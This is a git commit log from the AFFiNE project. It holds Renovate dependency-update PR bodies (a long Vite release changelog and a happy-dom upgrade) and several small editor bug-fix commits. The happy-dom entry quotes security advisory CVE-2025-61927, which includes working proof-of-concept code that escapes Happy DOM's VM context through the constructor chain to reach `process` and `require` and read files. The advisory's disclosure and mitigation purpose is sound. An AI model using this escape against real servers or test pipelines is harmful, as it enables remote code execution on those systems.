([#&#8203;20460](https://redirect.github.com/vitejs/vite/issues/20460))
([8033e5b](8033e5bf8d))

##### Performance Improvements

- **client:** reduce reload debounce
([#&#8203;20429](https://redirect.github.com/vitejs/vite/issues/20429))
([22ad43b](22ad43b4bf))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20536](https://redirect.github.com/vitejs/vite/issues/20536))
([8be2787](8be278748a))
- **deps:** update dependency parse5 to v8
([#&#8203;20490](https://redirect.github.com/vitejs/vite/issues/20490))
([744582d](744582d018))
- format
([f20addc](f20addc536))
- stablize `cssScopeTo`
([#&#8203;19592](https://redirect.github.com/vitejs/vite/issues/19592))
([ced1343](ced13433fb))

##### Code Refactoring

- use hook filters in the worker plugin
([#&#8203;20527](https://redirect.github.com/vitejs/vite/issues/20527))
([958cdf2](958cdf24f8))
- extract prepareOutDir as a plugin
([#&#8203;20373](https://redirect.github.com/vitejs/vite/issues/20373))
([2c4af1f](2c4af1f90b))
- extract resolve rollup options
([#&#8203;20375](https://redirect.github.com/vitejs/vite/issues/20375))
([61a9778](61a97780e6))
- rewrite openchrome.applescript to JXA
([#&#8203;20424](https://redirect.github.com/vitejs/vite/issues/20424))
([7979f9d](7979f9da55))
- use `http-proxy-3`
([#&#8203;20402](https://redirect.github.com/vitejs/vite/issues/20402))
([26d9872](26d987232a))
- use hook filters in internal plugins
([#&#8203;20358](https://redirect.github.com/vitejs/vite/issues/20358))
([f19c4d7](f19c4d72de))
- use hook filters in internal resolve plugin
([#&#8203;20480](https://redirect.github.com/vitejs/vite/issues/20480))
([acd2a13](acd2a13c2d))

##### Tests

- detect ts support via `process.features`
([#&#8203;20544](https://redirect.github.com/vitejs/vite/issues/20544))
([856d3f0](856d3f06e6))
- fix unimportant errors in test-unit
([#&#8203;20545](https://redirect.github.com/vitejs/vite/issues/20545))
([1f23554](1f235545b1))

##### Beta Changelogs

#####
[7.1.0-beta.1](https://redirect.github.com/vitejs/vite/compare/v7.1.0-beta.0...v7.1.0-beta.1)
(2025-08-05)

See [7.1.0-beta.1
changelog](https://redirect.github.com/vitejs/vite/blob/v7.1.0-beta.1/packages/vite/CHANGELOG.md)

#####
[7.1.0-beta.0](https://redirect.github.com/vitejs/vite/compare/v7.0.6...v7.1.0-beta.0)
(2025-07-30)

See [7.1.0-beta.0
changelog](https://redirect.github.com/vitejs/vite/blob/v7.1.0-beta.0/packages/vite/CHANGELOG.md)

###
[`v7.0.8`](https://redirect.github.com/vitejs/vite/releases/tag/v7.0.8)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.7...v7.0.8)

Please refer to
[CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v7.0.8/packages/vite/CHANGELOG.md)
for details.

###
[`v7.0.7`](https://redirect.github.com/vitejs/vite/releases/tag/v7.0.7)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.6...v7.0.7)

Please refer to
[CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v7.0.7/packages/vite/CHANGELOG.md)
for details.

###
[`v7.0.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#710-2025-08-07)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.5...v7.0.6)

##### Features

- support files with more than 1000 lines by `generateCodeFrame`
([#&#8203;20508](https://redirect.github.com/vitejs/vite/issues/20508))
([e7d0b2a](e7d0b2afa5))
- add `import.meta.main` support in config (bundle config loader)
([#&#8203;20516](https://redirect.github.com/vitejs/vite/issues/20516))
([5d3e3c2](5d3e3c2ae5))
- **optimizer:** improve dependency optimization error messages with
esbuild formatMessages
([#&#8203;20525](https://redirect.github.com/vitejs/vite/issues/20525))
([d17cfed](d17cfeda07))
- **ssr:** add `import.meta.main` support for Node.js module runner
([#&#8203;20517](https://redirect.github.com/vitejs/vite/issues/20517))
([794a8f2](794a8f2302))
- add `future: 'warn'`
([#&#8203;20473](https://redirect.github.com/vitejs/vite/issues/20473))
([e6aaf17](e6aaf17ca2))
- add `removeServerPluginContainer` future deprecation
([#&#8203;20437](https://redirect.github.com/vitejs/vite/issues/20437))
([c1279e7](c1279e7540))
- add `removeServerReloadModule` future deprecation
([#&#8203;20436](https://redirect.github.com/vitejs/vite/issues/20436))
([6970d17](6970d1740c))
- add `server.warmupRequest` to future deprecation
([#&#8203;20431](https://redirect.github.com/vitejs/vite/issues/20431))
([8ad388a](8ad388aeab))
- add `ssrFixStacktrace` / `ssrRewriteStacktrace` to
`removeSsrLoadModule` future deprecation
([#&#8203;20435](https://redirect.github.com/vitejs/vite/issues/20435))
([8c8f587](8c8f5879ea))
- **client:** ping from SharedWorker
([#&#8203;19057](https://redirect.github.com/vitejs/vite/issues/19057))
([5c97c22](5c97c22548))
- **dev:** add `this.fs` support
([#&#8203;20301](https://redirect.github.com/vitejs/vite/issues/20301))
([0fe3f2f](0fe3f2f7c3))
- export `defaultExternalConditions`
([#&#8203;20279](https://redirect.github.com/vitejs/vite/issues/20279))
([344d302](344d30243b))
- implement `removePluginHookSsrArgument` future deprecation
([#&#8203;20433](https://redirect.github.com/vitejs/vite/issues/20433))
([95927d9](95927d9c0b))
- implement `removeServerHot` future deprecation
([#&#8203;20434](https://redirect.github.com/vitejs/vite/issues/20434))
([259f45d](259f45d069))
- resolve server URLs before calling other listeners
([#&#8203;19981](https://redirect.github.com/vitejs/vite/issues/19981))
([45f6443](45f6443a93))
- **ssr:** resolve externalized packages with
`resolve.externalConditions` and add `module-sync` to default external
condition
([#&#8203;20409](https://redirect.github.com/vitejs/vite/issues/20409))
([c669c52](c669c524e6))
- **ssr:** support `import.meta.resolve` in module runner
([#&#8203;20260](https://redirect.github.com/vitejs/vite/issues/20260))
([62835f7](62835f7c06))

##### Bug Fixes

- **css:** avoid warnings for `image-set` containing `__VITE_ASSET__`
([#&#8203;20520](https://redirect.github.com/vitejs/vite/issues/20520))
([f1a2635](f1a2635e69))
- **css:** empty CSS entry points should generate CSS files, not JS
files
([#&#8203;20518](https://redirect.github.com/vitejs/vite/issues/20518))
([bac9f3e](bac9f3ecf8))
- **dev:** denied request stalled when requested concurrently
([#&#8203;20503](https://redirect.github.com/vitejs/vite/issues/20503))
([64a52e7](64a52e70d9))
- **manifest:** initialize `entryCssAssetFileNames` as an empty Set
([#&#8203;20542](https://redirect.github.com/vitejs/vite/issues/20542))
([6a46cda](6a46cdac5d))
- skip prepareOutDirPlugin in workers
([#&#8203;20556](https://redirect.github.com/vitejs/vite/issues/20556))
([97d5111](97d5111645))
- **asset:** only watch existing files for `new URL(, import.meta.url)`
([#&#8203;20507](https://redirect.github.com/vitejs/vite/issues/20507))
([1b211fd](1b211fd1be))
- **client:** keep ping on WS constructor error
([#&#8203;20512](https://redirect.github.com/vitejs/vite/issues/20512))
([3676da5](3676da5bc5))
- **deps:** update all non-major dependencies
([#&#8203;20537](https://redirect.github.com/vitejs/vite/issues/20537))
([fc9a9d3](fc9a9d3f14))
- don't resolve as relative for specifiers starting with a dot
([#&#8203;20528](https://redirect.github.com/vitejs/vite/issues/20528))
([c5a10ec](c5a10ec004))
- **html:** allow control character in input stream
([#&#8203;20483](https://redirect.github.com/vitejs/vite/issues/20483))
([c12a4a7](c12a4a76a2))
- merge old and new `noExternal: true` correctly
([#&#8203;20502](https://redirect.github.com/vitejs/vite/issues/20502))
([9ebe4a5](9ebe4a514a))
- **deps:** update all non-major dependencies
([#&#8203;20489](https://redirect.github.com/vitejs/vite/issues/20489))
([f6aa04a](f6aa04a52d))
- **dev:** denied requests overly
([#&#8203;20410](https://redirect.github.com/vitejs/vite/issues/20410))
([4be5270](4be5270b27))
- **hmr:** register css deps as `type: asset`
([#&#8203;20391](https://redirect.github.com/vitejs/vite/issues/20391))
([7eac8dd](7eac8ddb65))
- **optimizer:** discover correct jsx runtime during scan
([#&#8203;20495](https://redirect.github.com/vitejs/vite/issues/20495))
([10d48bb](10d48bb2e3))
- **preview:** set correct host for `resolvedUrls`
([#&#8203;20496](https://redirect.github.com/vitejs/vite/issues/20496))
([62b3e0d](62b3e0d95c))
- **worker:** resolve WebKit compat with inline workers by deferring
blob URL revocation
([#&#8203;20460](https://redirect.github.com/vitejs/vite/issues/20460))
([8033e5b](8033e5bf8d))

##### Performance Improvements

- **client:** reduce reload debounce
([#&#8203;20429](https://redirect.github.com/vitejs/vite/issues/20429))
([22ad43b](22ad43b4bf))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20536](https://redirect.github.com/vitejs/vite/issues/20536))
([8be2787](8be278748a))
- **deps:** update dependency parse5 to v8
([#&#8203;20490](https://redirect.github.com/vitejs/vite/issues/20490))
([744582d](744582d018))
- format
([f20addc](f20addc536))
- stablize `cssScopeTo`
([#&#8203;19592](https://redirect.github.com/vitejs/vite/issues/19592))
([ced1343](ced13433fb))

##### Code Refactoring

- use hook filters in the worker plugin
([#&#8203;20527](https://redirect.github.com/vitejs/vite/issues/20527))
([958cdf2](958cdf24f8))
- extract prepareOutDir as a plugin
([#&#8203;20373](https://redirect.github.com/vitejs/vite/issues/20373))
([2c4af1f](2c4af1f90b))
- extract resolve rollup options
([#&#8203;20375](https://redirect.github.com/vitejs/vite/issues/20375))
([61a9778](61a97780e6))
- rewrite openchrome.applescript to JXA
([#&#8203;20424](https://redirect.github.com/vitejs/vite/issues/20424))
([7979f9d](7979f9da55))
- use `http-proxy-3`
([#&#8203;20402](https://redirect.github.com/vitejs/vite/issues/20402))
([26d9872](26d987232a))
- use hook filters in internal plugins
([#&#8203;20358](https://redirect.github.com/vitejs/vite/issues/20358))
([f19c4d7](f19c4d72de))
- use hook filters in internal resolve plugin
([#&#8203;20480](https://redirect.github.com/vitejs/vite/issues/20480))
([acd2a13](acd2a13c2d))

##### Tests

- detect ts support via `process.features`
([#&#8203;20544](https://redirect.github.com/vitejs/vite/issues/20544))
([856d3f0](856d3f06e6))
- fix unimportant errors in test-unit
([#&#8203;20545](https://redirect.github.com/vitejs/vite/issues/20545))
([1f23554](1f235545b1))

##### Beta Changelogs

#####
[7.1.0-beta.1](https://redirect.github.com/vitejs/vite/compare/v7.1.0-beta.0...v7.1.0-beta.1)
(2025-08-05)

See [7.1.0-beta.1
changelog](https://redirect.github.com/vitejs/vite/blob/v7.1.0-beta.1/packages/vite/CHANGELOG.md)

#####
[7.1.0-beta.0](https://redirect.github.com/vitejs/vite/compare/v7.0.6...v7.1.0-beta.0)
(2025-07-30)

See [7.1.0-beta.0
changelog](https://redirect.github.com/vitejs/vite/blob/v7.1.0-beta.0/packages/vite/CHANGELOG.md)

###
[`v7.0.5`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-705-2025-07-17-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.4...v7.0.5)

##### Bug Fixes

- **deps:** update all non-major dependencies
([#&#8203;20406](https://redirect.github.com/vitejs/vite/issues/20406))
([1a1cc8a](1a1cc8a435))
- remove special handling for `Accept: text/html`
([#&#8203;20376](https://redirect.github.com/vitejs/vite/issues/20376))
([c9614b9](c9614b9c37))
- watch assets referenced by `new URL(, import.meta.url)`
([#&#8203;20382](https://redirect.github.com/vitejs/vite/issues/20382))
([6bc8bf6](6bc8bf634d))

##### Miscellaneous Chores

- **deps:** update dependency rolldown to ^1.0.0-beta.27
([#&#8203;20405](https://redirect.github.com/vitejs/vite/issues/20405))
([1165667](1165667b27))

##### Code Refactoring

- use `foo.endsWith("bar")` instead of `/bar$/.test(foo)`
([#&#8203;20413](https://redirect.github.com/vitejs/vite/issues/20413))
([862e192](862e192d21))

###
[`v7.0.4`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-704-2025-07-10-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.3...v7.0.4)

##### Bug Fixes

- allow resolving bare specifiers to relative paths for entries
([#&#8203;20379](https://redirect.github.com/vitejs/vite/issues/20379))
([324669c](324669c2d8))

##### Build System

- remove `@oxc-project/runtime` devDep
([#&#8203;20389](https://redirect.github.com/vitejs/vite/issues/20389))
([5e29602](5e29602f6f))

###
[`v7.0.3`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-703-2025-07-08-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.2...v7.0.3)

##### Bug Fixes

- **client:** protect against window being defined but addEv undefined
([#&#8203;20359](https://redirect.github.com/vitejs/vite/issues/20359))
([31d1467](31d1467cf0))
- **define:** replace optional values
([#&#8203;20338](https://redirect.github.com/vitejs/vite/issues/20338))
([9465ae1](9465ae1378))
- **deps:** update all non-major dependencies
([#&#8203;20366](https://redirect.github.com/vitejs/vite/issues/20366))
([43ac73d](43ac73da27))

##### Miscellaneous Chores

- **deps:** update dependency dotenv to v17
([#&#8203;20325](https://redirect.github.com/vitejs/vite/issues/20325))
([45040d4](45040d4807))
- **deps:** update dependency rolldown to ^1.0.0-beta.24
([#&#8203;20365](https://redirect.github.com/vitejs/vite/issues/20365))
([5ab25e7](5ab25e73a2))
- use `n/prefer-node-protocol` rule
([#&#8203;20368](https://redirect.github.com/vitejs/vite/issues/20368))
([38bb268](38bb268cde))

##### Code Refactoring

- minor changes to reduce diff between normal Vite and rolldown-vite
([#&#8203;20354](https://redirect.github.com/vitejs/vite/issues/20354))
([2e8050e](2e8050e4cd))

###
[`v7.0.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-702-2025-07-04-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.1...v7.0.2)

##### Bug Fixes

- **css:** resolve relative paths in sass, revert
[#&#8203;20300](https://redirect.github.com/vitejs/vite/issues/20300)
([#&#8203;20349](https://redirect.github.com/vitejs/vite/issues/20349))
([db8bd41](db8bd412a8))

###
[`v7.0.1`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-701-2025-07-03-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.0...v7.0.1)

##### Bug Fixes

- **css:** skip resolving resolved paths in sass
([#&#8203;20300](https://redirect.github.com/vitejs/vite/issues/20300))
([ac528a4](ac528a44c3))
- **deps:** update all non-major dependencies
([#&#8203;20324](https://redirect.github.com/vitejs/vite/issues/20324))
([3e81af3](3e81af38a8))
- **types:** add a global interface for Worker
([#&#8203;20243](https://redirect.github.com/vitejs/vite/issues/20243))
([37bdfc1](37bdfc18f4))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20323](https://redirect.github.com/vitejs/vite/issues/20323))
([30d2f1b](30d2f1b38c))
- fix typos and grammatical errors across documentation and comments
([#&#8203;20337](https://redirect.github.com/vitejs/vite/issues/20337))
([c1c951d](c1c951dcc3))
- group commits by category in changelog
([#&#8203;20310](https://redirect.github.com/vitejs/vite/issues/20310))
([41e83f6](41e83f62b1))
- rearrange 7.0 changelog
([#&#8203;20280](https://redirect.github.com/vitejs/vite/issues/20280))
([eafd28a](eafd28ac88))

###
[`v7.0.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#700-2025-06-24)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v6.4.1...v7.0.0)

![Vite 7 is out!](../../docs/public/og-image-announcing-vite7.png)

Today, we're excited to announce the release of the next Vite major:

- **[Vite 7.0 announcement blog
post](https://vite.dev/blog/announcing-vite7.html)**
- [Docs](https://vite.dev/) (translations: [简体中文](https://cn.vite.dev/),
[日本語](https://ja.vite.dev/), [Español](https://es.vite.dev/),
[Português](https://pt.vite.dev/), [한국어](https://ko.vite.dev/),
[Deutsch](https://de.vite.dev/), [فارسی](https://fa.vite.dev/))
- [Migration Guide](https://vite.dev/guide/migration.html)

##### ⚠ BREAKING CHANGES

- **ssr:** don't access `Object` variable in ssr transformed code
([#&#8203;19996](https://redirect.github.com/vitejs/vite/issues/19996))
- remove `experimental.skipSsrTransform` option
([#&#8203;20038](https://redirect.github.com/vitejs/vite/issues/20038))
- remove `HotBroadcaster`
([#&#8203;19988](https://redirect.github.com/vitejs/vite/issues/19988))
- **css:** always use sass compiler API
([#&#8203;19978](https://redirect.github.com/vitejs/vite/issues/19978))
- bump `build.target` and name it `baseline-widely-available`
([#&#8203;20007](https://redirect.github.com/vitejs/vite/issues/20007))
- bump required node version to 20.19+, 22.12+ and remove cjs build
([#&#8203;20032](https://redirect.github.com/vitejs/vite/issues/20032))
- **css:** remove sass legacy API support
([#&#8203;19977](https://redirect.github.com/vitejs/vite/issues/19977))
- remove deprecated `HotBroadcaster` related types
([#&#8203;19987](https://redirect.github.com/vitejs/vite/issues/19987))
- remove deprecated no-op type only properties
([#&#8203;19985](https://redirect.github.com/vitejs/vite/issues/19985))
- remove node 18 support
([#&#8203;19972](https://redirect.github.com/vitejs/vite/issues/19972))
- remove deprecated hook-level `enforce`/`transform` from
`transformIndexHtml` hook
([#&#8203;19349](https://redirect.github.com/vitejs/vite/issues/19349))
- remove deprecated splitVendorChunkPlugin
([#&#8203;19255](https://redirect.github.com/vitejs/vite/issues/19255))

##### Features

- **types:** use terser types from terser package
([#&#8203;20274](https://redirect.github.com/vitejs/vite/issues/20274))
([a5799fa](a5799fa74c))
- apply some middlewares before `configurePreviewServer` hook
([#&#8203;20224](https://redirect.github.com/vitejs/vite/issues/20224))
([b989c42](b989c42cf8))
- apply some middlewares before `configureServer` hook
([#&#8203;20222](https://redirect.github.com/vitejs/vite/issues/20222))
([f5cc4c0](f5cc4c0ded))
- add base option to import.meta.glob
([#&#8203;20163](https://redirect.github.com/vitejs/vite/issues/20163))
([253d6c6](253d6c6df2))
- add `this.meta.viteVersion`
([#&#8203;20088](https://redirect.github.com/vitejs/vite/issues/20088))
([f55bf41](f55bf41e91))
- allow passing down resolved config to vite's `createServer`
([#&#8203;19894](https://redirect.github.com/vitejs/vite/issues/19894))
([c1ae9bd](c1ae9bd4a0))
- buildApp hook
([#&#8203;19971](https://redirect.github.com/vitejs/vite/issues/19971))
([5da659d](5da659de90))
- **build:** provide names for asset entrypoints
([#&#8203;19912](https://redirect.github.com/vitejs/vite/issues/19912))
([c4e01dc](c4e01dc5ab))
- bump `build.target` and name it `baseline-widely-available`
([#&#8203;20007](https://redirect.github.com/vitejs/vite/issues/20007))
([4a8aa82](4a8aa82556))
- **client:** support opening fileURL in editor
([#&#8203;20040](https://redirect.github.com/vitejs/vite/issues/20040))
([1bde4d2](1bde4d2524))
- make PluginContext available for Vite-specific hooks
([#&#8203;19936](https://redirect.github.com/vitejs/vite/issues/19936))
([7063839](7063839d47))
- resolve environments plugins at config time
([#&#8203;20120](https://redirect.github.com/vitejs/vite/issues/20120))
([f6a28d5](f6a28d5f79))
- stabilize `css.preprocessorMaxWorkers` and default to `true`
([#&#8203;19992](https://redirect.github.com/vitejs/vite/issues/19992))
([70aee13](70aee139ea))
- stabilize `optimizeDeps.noDiscovery`
([#&#8203;19984](https://redirect.github.com/vitejs/vite/issues/19984))
([6d2dcb4](6d2dcb494d))

##### Bug Fixes

- **deps:** update all non-major dependencies
([#&#8203;20271](https://redirect.github.com/vitejs/vite/issues/20271))
([6b64d63](https://redirect.github.com/vitejs/vite/commit/6b64d63d700154de2c00270

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNDMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE0My4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-21 16:12:43 +00:00
DarkSky
01c164a78a fix(server): rcat event parse (#13781) 2025-10-20 17:20:41 +08:00
L-Sun
5c0e3b8a7f fix(editor): missing signal of optional flat props (#13762)
Close https://github.com/toeverything/AFFiNE/issues/13750

#### PR Dependency Tree


* **PR #13762** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Optional block properties are now supported (e.g., flat-table), with
default values applied automatically when not set.

* **Bug Fixes**
* More reliable initialization and syncing of block properties, ensuring
defaults appear consistently.
* Change notifications now correctly reflect updates to
optional/defaulted properties.

* **Tests**
* Added tests verifying optional property behavior, default application,
syncing, and change events.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->





#### PR Dependency Tree


* **PR #13762** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
2025-10-16 04:38:47 +00:00
L-Sun
e4f9d42990 fix(core): can not scroll all page list in MacOS 26 (#13763)
Close https://github.com/toeverything/AFFiNE/issues/13754

#### PR Dependency Tree


* **PR #13763** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Style**
* Updated page layout sizing to no longer force full-height on the docs
body, allowing height to adapt to content.
* Improves natural scrolling and reduces layout constraints in the
workspace “All” page.
* Enhances responsiveness across varying screen sizes by relying on
content and container sizing rules.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-16 04:07:29 +00:00
L-Sun
59d8d0fbae fix(editor): text align not work (#13740)
#### PR Dependency Tree


* **PR #13740** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved reliability of updating block alignment when the current
selection isn’t explicitly defined. The editor now retrieves the
selection more consistently, reducing cases where alignment controls
appeared unresponsive or had no effect.
* Covers scenarios during initialization or edge cases where selection
was previously missed, resulting in smoother editing and fewer false
negatives when applying alignment.
* No changes to visible UI or shortcuts; behavior is simply more
consistent.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-14 03:10:38 +00:00
renovate[bot]
50f41c2212 chore: bump up happy-dom version to v20 [SECURITY] (#13726)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) |
[`^18.0.0` ->
`^20.0.0`](https://renovatebot.com/diffs/npm/happy-dom/18.0.1/20.0.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/18.0.1/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-61927](https://redirect.github.com/capricorn86/happy-dom/security/advisories/GHSA-37j7-fg3j-429f)

# Escape of VM Context gives access to process level functionality

## Summary
Happy DOM v19 and lower contains a security vulnerability that puts the
owner system at the risk of RCE (Remote Code Execution) attacks.

A Node.js VM Context is not an isolated environment, and if the user
runs untrusted JavaScript code within the Happy DOM VM Context, it may
escape the VM and get access to process level functionality.

What the attacker can get control over depends on if the process is
using ESM or CommonJS. With CommonJS the attacker can get hold of the
`require()` function to import modules.

Happy DOM has JavaScript evaluation enabled by default. This may not be
obvious to the consumer of Happy DOM and can potentially put the user at
risk if untrusted code is executed within the environment.

## Reproduce

### CommonJS (Possible to get hold of require)

```javascript
const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
     const require = process.mainModule.require;
  
     console.log('Files:', require('fs').readdirSync('.').slice(0,3));
  </script>
`);
```

### ESM (Not possible to get hold of import or require)

```javascript
const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
  
     console.log('PID:', process.pid);
  </script>
`);
```

## Potential Impact

#### Server-Side Rendering (SSR)
```javascript
const { Window } = require('happy-dom');
const window = new Window();
window.document.innerHTML = userControlledHTML;
```

#### Testing Frameworks
Any test suite using Happy-DOM with untrusted content may be at risk.

## Attack Scenarios

1. **Data Exfiltration**: Access to environment variables, configuration
files, secrets
2. **Lateral Movement**: Network access for connecting to internal
systems. Happy DOM already gives access to the network by fetch, but has
protections in place (such as CORS and header validation etc.).
3. **Code Execution**: Child process access for running arbitrary
commands
4. **Persistence**: File system access

## Recommended Immediate Actions

1. Update Happy DOM to v20 or above
    - This version has JavaScript evaluation disabled by default
- This version will output a warning if JavaScript is enabled in an
insecure environment
2. Run Node.js with the "--disallow-code-generation-from-strings" if you
need JavaScript evaluation enabled
- This makes sure that evaluation can't be used at process level to
escape the VM
- `eval()` and `Function()` can still be used within the Happy DOM VM
without any known security risk
- Happy DOM v20 and above will output a warning if this flag is not in
use
4. If you can't update Happy DOM right now, it's recommended to disable
JavaScript evaluation, unless you completely trust the content within
the environment

## Technical Root Cause

All classes and functions inherit from
[Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function).
By walking the constructor chain it's possible to get hold of
[Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function)
at process level. As
[Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function)
can evaluate code from strings, it's possible to execute code at process
level.

Running Node with the "--disallow-code-generation-from-strings" flag
protects against this.

---

### Release Notes

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

###
[`v20.0.0`](https://redirect.github.com/capricorn86/happy-dom/compare/v19.0.2...819d15ba289495439eda8be360d92a614ce22405)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v19.0.2...v20.0.0)

###
[`v19.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v19.0.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v19.0.1...v19.0.2)

##### :construction\_worker\_man: Patch fixes

- Fixes issue related to CSS pseudo selector `:scope` that didn't work
correctly for direct descendants to root - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1620](https://redirect.github.com/capricorn86/happy-dom/issues/1620)

###
[`v19.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v19.0.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v19.0.0...v19.0.1)

##### :construction\_worker\_man: Patch fixes

- Fixes issue with sending in URLs as string in
`@happy-dom/server-renderer` config using CLI - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1908](https://redirect.github.com/capricorn86/happy-dom/issues/1908)

###
[`v19.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v19.0.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v18.0.1...v19.0.0)

##### 💣 Breaking Changes

- Removes support for CommonJS - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Support for CommonJS is no longer needed as Node.js v18 is deprecated
and v20 and above supports loading ES modules from CommonJS using
`require()`
- Updates Jest to v30 in the `@happy-dom/jest-environment` package - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Makes Jest packages peer dependencies to make it easier to align
versions with the project using `@happy-dom/jest-environment` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)

##### 🎨 Features

- Adds a new package called `@happy-dom/server-renderer` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- This package provides a simple way to statically render (SSG) or
server-side render (SSR) your client-side application
- Read more in the Wiki under
[Server-Renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer)
- Adds support for `import.meta` to the ESM compiler - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for the CSS pseudo selector `:scope` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1620](https://redirect.github.com/capricorn86/happy-dom/issues/1620)
- Improves support for `MediaList` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for `CSSKeywordValue`, `CSSStyleValue`,
`StylePropertyMap`, `StylePropertyMap`, `StylePropertyMapReadOnly` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Improves debug information in the ESM compiler - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds validation of browser settings when creating a new `Browser`
instance - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for the browser setting
[navigation.beforeContentCallback](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings)
